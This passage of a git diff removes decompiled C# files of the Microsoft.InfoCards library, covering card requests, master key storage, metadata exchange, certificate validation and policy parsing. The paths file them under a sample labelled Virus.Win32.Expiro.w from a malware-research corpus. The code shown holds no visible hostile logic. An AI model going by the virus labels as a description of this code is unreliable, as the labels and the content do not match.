InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://schemas.xmlsoap.org/ws/2005/02/trust/TokenType"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://schemas.xmlsoap.org/ws/2005/02/trust/KeyType"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://schemas.xmlsoap.org/ws/2005/02/trust/KeySize"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://schemas.xmlsoap.org/ws/2005/02/trust/EncryptWith"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://schemas.xmlsoap.org/ws/2005/02/trust/RequestType"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://docs.oasis-open.org/ws-sx/ws-trust/200512/SignatureAlgorithm"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://docs.oasis-open.org/ws-sx/ws-trust/200512/EncryptionAlgorithm"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://docs.oasis-open.org/ws-sx/ws-trust/200512/CanonicalizationAlgorithm"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://docs.oasis-open.org/ws-sx/ws-trust/200512/SignWith"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://docs.oasis-open.org/ws-sx/ws-trust/200512/Claims"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://docs.oasis-open.org/ws-sx/ws-trust/200512/TokenType"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://docs.oasis-open.org/ws-sx/ws-trust/200512/KeyType"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://docs.oasis-open.org/ws-sx/ws-trust/200512/KeySize"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://docs.oasis-open.org/ws-sx/ws-trust/200512/EncryptWith"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://docs.oasis-open.org/ws-sx/ws-trust/200512/RequestType"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://docs.oasis-open.org/ws-sx/ws-trust/200512/SecondaryParameters"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://docs.oasis-open.org/ws-sx/ws-trust/200512/KeyWrapAlgorithm"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://schemas.xmlsoap.org/ws/2005/07/securitypolicy/RequestSecurityTokenTemplate"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://docs.oasis-open.org/ws-sx/ws-securitypolicy/200512/RequestSecurityTokenTemplate"); - InfoCardConstants.s_policyElementsToBeProcessed.AddRange((IEnumerable) InfoCardConstants.s_localTokenFactoryWhiteList); - InfoCardConstants.s_policyElementsToBeProcessed.Add("http://schemas.xmlsoap.org/ws/2004/09/policy/AppliesTo"); - InfoCardConstants.s_policyElementsToBeProcessed.Add("http://www.w3.org/ns/ws-policy/AppliesTo"); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCardListRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCardListRequest.cs deleted file mode 100644 index f848bcf5..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCardListRequest.cs +++ /dev/null @@ -1,107 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCardListRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.Collections.Generic; -using System.Globalization; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class InfoCardListRequest : UIAgentRequest - { - private InfoCardPolicy m_policy; - private IList m_allCards; - - public InfoCardListRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnInitializeAsSystem() - { - base.OnInitializeAsSystem(); - this.m_policy = this.GetPolicy(); - } - - protected override void OnMarshalInArgs() - { - } - - protected override void OnProcess() - { - IList allCards = this.GetAllCards(); - if (allCards == null || allCards.Count == 0) - return; - IList infoCardList = (IList) new List(allCards.Count); - for (int index = 0; index < allCards.Count; ++index) - { - byte[] dataField = allCards[index].GetDataField(); - try - { - using (MemoryStream memoryStream = new MemoryStream(dataField)) - infoCardList.Add(new InfoCard((Stream) memoryStream)); - } - finally - { - Array.Clear((Array) dataField, 0, dataField.Length); - } - } - this.m_allCards = infoCardList; - } - - protected override void OnMarshalOutArgs() - { - Stream outArgs = this.OutArgs; - BinaryWriter binaryWriter = new BinaryWriter(outArgs); - if (this.m_allCards != null && this.m_allCards.Count != 0) - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - binaryWriter.Write(this.m_allCards.Count); - for (int index = 0; index < this.m_allCards.Count; ++index) - { - binaryWriter.Flush(); - this.m_allCards[index].AgentSerialize(outArgs, this.ParentRequest is GetTokenRequest, this.m_policy, connection, new CultureInfo(this.ParentRequest.UserLanguage)); - } - binaryWriter.Flush(); - } - finally - { - if (this.m_allCards != null) - { - foreach (InfoCard allCard in (IEnumerable) this.m_allCards) - allCard.ClearSensitiveData(); - } - connection.Close(); - } - } - else - binaryWriter.Write(0); - } - - private IList GetAllCards() - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - return (IList) connection.Query(QueryDetails.FullRow, connection.LocalDataSource, new QueryParameter("ix_objecttype", new object[1] - { - (object) 1 - })); - } - finally - { - connection.Close(); - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCardMasterKey.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCardMasterKey.cs deleted file mode 100644 index 4e42b10a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCardMasterKey.cs +++ /dev/null @@ -1,124 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCardMasterKey -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Security.Cryptography; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class InfoCardMasterKey - { - private const byte Marker = 29; - private const byte Version = 1; - private Uri m_infoCardId; - private byte[] m_key; - - public InfoCardMasterKey(Uri infoCardId) => this.m_infoCardId = infoCardId; - - public InfoCardMasterKey(Uri infoCardId, byte[] key) - { - this.m_infoCardId = infoCardId; - this.m_key = key; - } - - public static InfoCardMasterKey NewMasterKey(Uri infoCardId) - { - InfoCardMasterKey infoCardMasterKey = new InfoCardMasterKey(infoCardId); - InfoCardTrace.Assert(null == infoCardMasterKey.m_key, "Should be null"); - infoCardMasterKey.m_key = InfoCardMasterKey.GenerateKey(); - return infoCardMasterKey; - } - - public byte[] Key => this.m_key; - - private static byte[] GenerateKey() - { - byte[] data = new byte[32]; - new RNGCryptoServiceProvider().GetBytes(data); - return data; - } - - public void Get(StoreConnection con) - { - InfoCardTrace.Assert((Uri) null != this.m_infoCardId, "populate infocard id before calling Get"); - InfoCardTrace.Assert(con != null, "null connection"); - this.Deserialize((Stream) new MemoryStream(this.GetRow(con, QueryDetails.FullRow).GetDataField())); - } - - public void Save(StoreConnection con) - { - InfoCardTrace.Assert(con != null, "null connection"); - this.ThrowIfNotComplete(); - DataRow row = this.TryGetRow(con, QueryDetails.FullHeader); - if (row == null) - { - row = new DataRow(); - row.ObjectType = 3; - row.GlobalId = (GlobalId) Guid.NewGuid(); - } - row.SetIndexValue("ix_parentid", (object) GlobalId.DeriveFrom(this.m_infoCardId.ToString())); - row.SetIndexValue("ix_masterkey", (object) this.m_key); - MemoryStream memoryStream = new MemoryStream(); - this.Serialize((Stream) memoryStream); - row.SetDataField(memoryStream.ToArray()); - con.Save(row); - } - - public void ThrowIfNotComplete() - { - if (!((Uri) null != this.m_infoCardId) || Utility.ArrayIsNullOrEmpty((Array) this.m_key)) - throw InfoCardTrace.ThrowHelperError((Exception) new SerializationIncompleteException(this.GetType())); - } - - public void Encrypt(PinProtectionHelper pinHelper) => this.m_key = pinHelper.EncryptMasterKey(this.m_key); - - public void Decrypt(PinProtectionHelper pinHelper) => this.m_key = pinHelper.DecryptMasterKey(this.m_key); - - public PinProtectionHelper GetPinHelper(string pin) => new PinProtectionHelper(pin, this.m_key); - - private void Serialize(Stream stream) - { - this.ThrowIfNotComplete(); - BinaryWriter writer = new BinaryWriter(stream, Encoding.Unicode); - writer.Write((byte) 1); - Utility.SerializeBytes(writer, this.m_key); - writer.Write((byte) 29); - } - - private void Deserialize(Stream stream) - { - BinaryReader binaryReader = (BinaryReader) new InfoCardBinaryReader(stream, Encoding.Unicode); - if ((byte) 1 != binaryReader.ReadByte()) - InfoCardTrace.Assert(false, "Master key version mismatch"); - this.m_key = binaryReader.ReadBytes(binaryReader.ReadInt32()); - if ((byte) 29 != binaryReader.ReadByte()) - InfoCardTrace.Assert(false, "Invalid stream detected"); - this.ThrowIfNotComplete(); - } - - protected DataRow GetRow(StoreConnection con, QueryDetails details) - { - DataRow row = this.TryGetRow(con, details); - InfoCardTrace.Assert(row != null && 3 == row.ObjectType, "invalid service object type"); - return row; - } - - protected DataRow TryGetRow(StoreConnection con, QueryDetails details) - { - InfoCardTrace.Assert((Uri) null != this.m_infoCardId, "populate cardid before retrieving row"); - return con.GetSingleRow(details, new QueryParameter("ix_objecttype", new object[1] - { - (object) 3 - }), new QueryParameter("ix_parentid", new object[1] - { - (object) GlobalId.DeriveFrom(this.m_infoCardId.ToString()) - })); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCardMetadataExchangeClient.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCardMetadataExchangeClient.cs deleted file mode 100644 index fb5c2194..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCardMetadataExchangeClient.cs +++ /dev/null @@ -1,94 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCardMetadataExchangeClient -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Net; -using System.ServiceModel; -using System.ServiceModel.Channels; -using System.ServiceModel.Description; - -namespace Microsoft.InfoCards -{ - internal class InfoCardMetadataExchangeClient : MetadataExchangeClient - { - private HttpWebRequest m_currentHttpGetRequest; - private object m_abortSync; - private bool m_aborted; - private IWebProxy m_proxy; - - public static CustomBinding CreateBindingForMex() - { - HttpsTransportBindingElement transportBindingElement = new HttpsTransportBindingElement(); - InfoCardTrace.Assert(AuthenticationSchemes.Anonymous == transportBindingElement.AuthenticationScheme, "AuthenticationScheme must be Anonymous and not NTLM/Negotiate"); - return new CustomBinding(new BindingElement[2] - { - (BindingElement) new TextMessageEncodingBindingElement(), - (BindingElement) transportBindingElement - }); - } - - public InfoCardMetadataExchangeClient() - : base((Binding) InfoCardMetadataExchangeClient.CreateBindingForMex()) - { - this.m_abortSync = new object(); - } - - public IWebProxy Proxy - { - set => this.m_proxy = value; - } - - public void Abort() - { - lock (this.m_abortSync) - { - if (this.m_currentHttpGetRequest != null) - this.m_currentHttpGetRequest.Abort(); - else - base.GetChannelFactory((EndpointAddress) null, (string) null, (string) null)?.Abort(); - this.m_aborted = true; - } - } - - protected internal override HttpWebRequest GetWebRequest( - Uri location, - string dialect, - string identifier) - { - if (string.Compare(location.Scheme, "https", StringComparison.OrdinalIgnoreCase) != 0) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("NonHttpsURIFound", (object) location.AbsoluteUri))); - HttpWebRequest webRequest = base.GetWebRequest(location, dialect, identifier); - InfoCardTrace.Assert(null == webRequest.Credentials, "No creds should be set"); - InfoCardTrace.Assert(null != this.m_proxy, "Set the proxy value before creating a WebRequest"); - webRequest.Proxy = this.m_proxy; - lock (this.m_abortSync) - { - if (this.m_aborted) - webRequest.Abort(); - return this.m_currentHttpGetRequest = webRequest; - } - } - - protected internal override ChannelFactory GetChannelFactory( - EndpointAddress metadataAddress, - string dialect, - string identifier) - { - if ((EndpointAddress) null != metadataAddress && string.Compare(metadataAddress.Uri.Scheme, "https", StringComparison.OrdinalIgnoreCase) != 0) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("NonHttpsURIFound", (object) metadataAddress.Uri.AbsoluteUri))); - InfoCardTrace.Assert(null != this.m_proxy, "Set the proxy value before creating a WebRequest"); - ChannelFactory channelFactory = base.GetChannelFactory(metadataAddress, dialect, identifier); - channelFactory.Endpoint.Binding = (Binding) new CustomBinding(Utility.UpdateProxyForHttpAndRestrictTransportBinding(channelFactory.Endpoint.Binding.CreateBindingElements(), this.m_proxy, true)); - lock (this.m_abortSync) - { - if (this.m_aborted) - channelFactory.Abort(); - } - return channelFactory; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCardOfflineChainTrustValidator.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCardOfflineChainTrustValidator.cs deleted file mode 100644 index bb083f6a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCardOfflineChainTrustValidator.cs +++ /dev/null @@ -1,93 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCardOfflineChainTrustValidator -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IdentityModel.Selectors; -using System.IdentityModel.Tokens; -using System.Security.Cryptography.X509Certificates; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class InfoCardOfflineChainTrustValidator : X509CertificateValidator - { - private bool m_useMachineContext; - - public InfoCardOfflineChainTrustValidator(bool useMachineContext) => this.m_useMachineContext = useMachineContext; - - public override void Validate(X509Certificate2 certificate) - { - X509Chain chain; - this.Validate(certificate, (X509Certificate2Collection) null, out chain); - chain = (X509Chain) null; - } - - public void Validate( - X509Certificate2 certificate, - X509Certificate2Collection supportingCerts, - out X509Chain chain) - { - if (certificate == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (certificate)); - chain = new X509Chain(this.m_useMachineContext); - if (supportingCerts != null) - chain.ChainPolicy.ExtraStore.AddRange(supportingCerts); - chain.ChainPolicy.RevocationFlag = X509RevocationFlag.ExcludeRoot; - chain.ChainPolicy.RevocationMode = X509RevocationMode.Offline; - chain.ChainPolicy.VerificationFlags = X509VerificationFlags.IgnoreEndRevocationUnknown | X509VerificationFlags.IgnoreCtlSignerRevocationUnknown | X509VerificationFlags.IgnoreCertificateAuthorityRevocationUnknown | X509VerificationFlags.IgnoreRootRevocationUnknown; - if (!chain.Build(certificate)) - throw InfoCardTrace.ThrowHelperError((Exception) new SecurityTokenValidationException(SR.GetString("X509ChainBuildFail", (object) InfoCardOfflineChainTrustValidator.GetCertificateId(certificate), (object) InfoCardOfflineChainTrustValidator.GetChainStatusInformation(chain.ChainStatus)))); - } - - internal static string GetCertificateId(X509Certificate2 certificate) - { - StringBuilder str = new StringBuilder(256); - InfoCardOfflineChainTrustValidator.AppendCertificateIdentityName(str, certificate); - return str.ToString(); - } - - private static string GetChainStatusInformation(X509ChainStatus[] chainStatus) - { - if (chainStatus == null) - return string.Empty; - StringBuilder stringBuilder = new StringBuilder(256); - for (int index = 0; index < chainStatus.Length; ++index) - { - if (X509ChainStatusFlags.RevocationStatusUnknown != chainStatus[index].Status && X509ChainStatusFlags.OfflineRevocation != chainStatus[index].Status) - { - stringBuilder.Append(chainStatus[index].StatusInformation); - stringBuilder.Append(" "); - } - } - return stringBuilder.ToString(); - } - - private static void AppendCertificateIdentityName( - StringBuilder str, - X509Certificate2 certificate) - { - string str1 = certificate.SubjectName.Name; - if (string.IsNullOrEmpty(str1)) - { - str1 = certificate.GetNameInfo(X509NameType.DnsName, false); - if (string.IsNullOrEmpty(str1)) - { - str1 = certificate.GetNameInfo(X509NameType.SimpleName, false); - if (string.IsNullOrEmpty(str1)) - { - str1 = certificate.GetNameInfo(X509NameType.EmailName, false); - if (string.IsNullOrEmpty(str1)) - str1 = certificate.GetNameInfo(X509NameType.UpnName, false); - } - } - } - str.Append(string.IsNullOrEmpty(str1) ? "" : str1); - str.Append("; "); - str.Append(certificate.Thumbprint); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCardPolicy.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCardPolicy.cs deleted file mode 100644 index c1715e41..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCardPolicy.cs +++ /dev/null @@ -1,237 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCardPolicy -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.IO; -using System.ServiceModel; -using System.ServiceModel.Security; -using System.Xml; -using System.Xml.Schema; - -namespace Microsoft.InfoCards -{ - internal class InfoCardPolicy - { - private static XmlNamespaceManager m_defNamespaces = XmlNames.CreateNamespaceManager((XmlNameTable) new NameTable()); - private EndpointAddress m_issuer; - private string m_privacyPolicyLink = string.Empty; - private uint m_privacyPolicyVersion; - private bool m_isManaged; - private bool m_requiresManagedCard; - private RecipientIdentity m_immediateTokenRecipientIdentity; - private RecipientIdentity m_recipientIdentity; - private Policy m_policyPrimary; - private Policy m_policySecondary; - private Policy m_policyMerged; - private readonly PolicyUsageContext m_policyUsageContext; - - public InfoCardPolicy( - EndpointAddress immediateTokenRecipient, - EndpointAddress issuer, - ParsedPolicy policy, - PolicyUsageContext policyUsageContext, - string privacyUrl, - uint privacyVersion, - RecipientIdentity recipientIdentity, - bool isManaged) - { - this.m_policyUsageContext = policyUsageContext; - this.m_issuer = issuer; - this.m_recipientIdentity = recipientIdentity; - this.m_immediateTokenRecipientIdentity = RecipientIdentity.CreateIdentity(immediateTokenRecipient, false); - this.m_isManaged = isManaged; - if (policy != null) - this.ParseIncomingPolicy(policy); - if (!InfoCardPolicy.IsSelfIssuedUriPresent(this.m_issuer) && issuer != (EndpointAddress) null && !Utility.CompareUri(issuer.Uri, new Uri("http://schemas.microsoft.com/2005/12/ServiceModel/Addressing/Anonymous"))) - this.m_requiresManagedCard = true; - this.m_privacyPolicyLink = privacyUrl; - this.m_privacyPolicyVersion = privacyVersion; - } - - private void ParseIncomingPolicy(ParsedPolicy parsedPolicy) - { - if (PolicyType.Composite == parsedPolicy.PolicyType) - { - try - { - this.m_policyPrimary = PolicyFactory.CreatePolicyFromUnwrappedPolicyXml(parsedPolicy.PolicyXmlPrimary); - this.m_policySecondary = PolicyFactory.CreatePolicyFromUnwrappedPolicyXml(parsedPolicy.PolicyXmlSecondary); - this.m_policyMerged = Policy.CreateMergedPolicy(parsedPolicy.PolicyXmlOriginal, this.m_policyPrimary, this.m_policySecondary); - } - catch (XmlSchemaValidationException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("SchemaValidationFailed"), (Exception) ex)); - } - } - else if (parsedPolicy.PolicyType == PolicyType.PrimaryOnly) - { - try - { - this.m_policyPrimary = PolicyFactory.CreatePolicyFromUnwrappedPolicyXml(parsedPolicy.PolicyXmlPrimary); - this.m_policyMerged = this.m_policyPrimary; - } - catch (XmlSchemaValidationException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("SchemaValidationFailed"), (Exception) ex)); - } - } - else - { - if (PolicyType.SecondaryOnly != parsedPolicy.PolicyType) - return; - try - { - this.m_policySecondary = PolicyFactory.CreatePolicyFromUnwrappedPolicyXml(parsedPolicy.PolicyXmlSecondary); - this.m_policyMerged = this.m_policySecondary; - } - catch (XmlSchemaValidationException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("SchemaValidationFailed"), (Exception) ex)); - } - } - } - - public Policy MergedPolicy => this.m_policyMerged; - - public string RequestType => this.m_policyMerged.RequestType; - - public Policy ClientPolicy => this.m_policyPrimary; - - public Policy RelyingPartyPolicy => this.m_policySecondary; - - public OptionalRstParameters OptionalRstParams => this.m_policyMerged.OptionalRstParams; - - public string[] RequiredClaims => this.m_policyMerged.RequiredClaims; - - public string[] OptionalClaims => this.m_policyMerged.OptionalClaims; - - public SecurityKeyTypeInternal KeyType => this.m_policyMerged.KeyType; - - public bool KeyTypeSpecified => this.m_policyMerged.KeyTypeSpecified; - - public EndpointAddress PolicyAppliesTo => this.m_policyMerged.PolicyAppliesTo; - - public MemoryStream UnprocessedPolicyElements => this.m_policyMerged.UnprocessedPolicyElements; - - public bool KeySizeSpecified => this.m_policyMerged.KeySizeSpecified; - - public uint KeySize => this.m_policyMerged.KeySize; - - public bool NonWhiteListElementsFound => this.m_policyMerged.NonWhiteListElementsFound; - - public List NonWhiteListElements => this.m_policyMerged.NonWhiteListElements; - - public ProtocolProfile ProtocolVersionProfile => this.m_policyMerged.ProtocolVersionProfile; - - public RecipientIdentity ImmediateTokenRecipient => this.m_immediateTokenRecipientIdentity; - - public EndpointAddress Issuer => this.m_issuer; - - public RecipientIdentity Recipient => this.m_recipientIdentity; - - public uint GetIntelligentKeySize(bool isSelfIssuedCardSelected) - { - if (isSelfIssuedCardSelected) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException()); - if (SecurityKeyTypeInternal.AsymmetricKey == this.KeyType) - return 2048; - if (this.KeyType == SecurityKeyTypeInternal.SymmetricKey) - return !this.KeySizeSpecified ? (uint) SecurityAlgorithmSuite.Default.DefaultSymmetricKeyLength : this.KeySize; - InfoCardTrace.Assert(false, "Should access this property only in managed card non-no proof key scenario"); - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException()); - } - - public string GetKeyTypeString() - { - switch (this.KeyType) - { - case SecurityKeyTypeInternal.SymmetricKey: - return this.m_policyMerged.ProtocolVersionProfile.WSTrust.KeyTypeSymmetric.ToString(); - case SecurityKeyTypeInternal.AsymmetricKey: - return this.m_policyMerged.ProtocolVersionProfile.WSTrust.KeyTypeAsymmetric.ToString(); - case SecurityKeyTypeInternal.NoKey: - return this.m_policyMerged.ProtocolVersionProfile.WSTrust.KeyTypeBearer.ToString(); - default: - InfoCardTrace.Assert(false, "Impossible condition in code"); - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException()); - } - } - - public string PrivacyPolicyLink => this.m_privacyPolicyLink; - - public uint PrivacyPolicyVersion => this.m_privacyPolicyVersion; - - public bool IsManaged => this.m_isManaged; - - public bool RequiresManagedCard => this.m_requiresManagedCard; - - public bool RequiresSelfIssuedCard => !((EndpointAddress) null == this.m_issuer) && Utility.CompareUri(this.m_issuer.Uri, new Uri("http://schemas.xmlsoap.org/ws/2005/05/identity/issuer/self")); - - public void SetRecipientInfo( - RecipientIdentity recipientIdentity, - string privacyUrl, - uint privacyVersion) - { - this.m_recipientIdentity = recipientIdentity; - this.m_privacyPolicyLink = privacyUrl; - this.m_privacyPolicyVersion = privacyVersion; - } - - private void ComputeRequiresManagedCardFlag() - { - if (this.m_policyMerged.NonWhiteListElementsFound) - this.m_requiresManagedCard = true; - foreach (string requiredClaim in this.m_policyMerged.RequiredClaims) - { - if (!PolicyUtility.IsSelfIssuedClaim(requiredClaim)) - this.m_requiresManagedCard = true; - } - if (!string.IsNullOrEmpty(this.m_policyMerged.OptionalRstParams.TokenType) && !PolicyUtility.IsSelfIssuedTokenType(this.m_policyMerged.OptionalRstParams.TokenType)) - this.m_requiresManagedCard = true; - if (!(this.m_immediateTokenRecipientIdentity is X509RecipientIdentity) && this.m_policyMerged.KeyType == SecurityKeyTypeInternal.SymmetricKey) - this.m_requiresManagedCard = true; - if (string.IsNullOrEmpty(this.m_policyMerged.OptionalRstParams.KeyWrapAlgorithm) || !(this.m_policyMerged.OptionalRstParams.KeyWrapAlgorithm != SecurityAlgorithmSuite.Default.DefaultAsymmetricKeyWrapAlgorithm)) - return; - this.m_requiresManagedCard = true; - } - - private void FillComputedPolicy() => this.ComputeRequiresManagedCardFlag(); - - public void Validate() - { - bool flag = this.m_policyMerged.RequiredClaims == null || 0 == this.m_policyMerged.RequiredClaims.Length; - PolicyValidator policyValidator; - if (this.m_policyUsageContext == PolicyUsageContext.Browser) - { - if (flag) - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("NoClaimsFoundInPolicy"))); - this.FillComputedPolicy(); - policyValidator = (PolicyValidator) new BrowserPolicyValidator(this); - } - else if (PolicyUsageContext.GetToken == this.m_policyUsageContext) - { - if (flag) - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("NoClaimsFoundInPolicy"))); - this.FillComputedPolicy(); - policyValidator = new PolicyValidator(this); - } - else - policyValidator = (PolicyValidator) new IntermediatePolicyValidator(this); - policyValidator.Validate(); - } - - public void ThrowIfNonPpidClaimsPresent() - { - InfoCardTrace.ThrowInvalidArgumentConditional(this.m_policyMerged.RequiredClaims == null || this.m_policyMerged.OptionalClaims == null, "claims"); - if (this.m_policyMerged.RequiredClaims.Length != 1 || !(this.m_policyMerged.RequiredClaims[0] == InfoCardConstants.PPIDClaimsUri) || this.m_policyMerged.OptionalClaims.Length != 0) - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("IPStsPolicyRequestingNonPpidClaims"))); - } - - public static bool IsSelfIssuedUriPresent(EndpointAddress address) => !((EndpointAddress) null == address) && Utility.CompareUri(address.Uri, XmlNames.WSIdentity.SelfIssuerUriValue); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCardRequestException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCardRequestException.cs deleted file mode 100644 index f9e0b163..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCardRequestException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCardRequestException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class InfoCardRequestException : InfoCardBaseException - { - private const int HRESULT = -1073413882; - - public 